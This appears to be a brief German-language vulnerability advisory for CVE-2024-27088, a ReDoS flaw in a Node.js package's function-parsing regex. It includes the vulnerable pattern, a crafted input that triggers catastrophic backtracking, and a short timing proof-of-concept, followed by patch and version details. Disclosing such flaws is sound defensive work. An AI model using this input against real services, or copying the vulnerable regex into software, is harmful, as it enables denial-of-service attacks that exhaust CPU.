
redos
CVE-2024-27088
Feb 26, 2024
ReDoS im node.js-Paket
Als Teil des rebob-Projekts
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
Diese Schwachstelle kann ausgenutzt werden, wenn ein Ungleichgewicht in den Klammern vorliegt, was zu übermäßigem Backtracking und in der Folge zu einer erheblichen Erhöhung der CPU-Last und der Verarbeitungszeit führt. Diese Schwachstelle kann mit der folgenden Eingabe ausgelöst werden:
'function{' + 'n'.repeat(31) + '){'
Hier ist ein einfacher PoC-Code, der das Problem demonstriert:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Auswirkungen
Das Übergeben von Funktionen mit sehr langen Namen oder komplexen Standardargumentnamen an function#copy oder function#toStringTokens kann das Skript zum Stillstand bringen.
Patches Behoben mit 3551cdd und a52e957 Veröffentlicht mit v0.10.63
Workarounds Es gibt keine wirkliche Problemumgehung, außer die Verwendung der oben genannten Dienstprogramme zu vermeiden.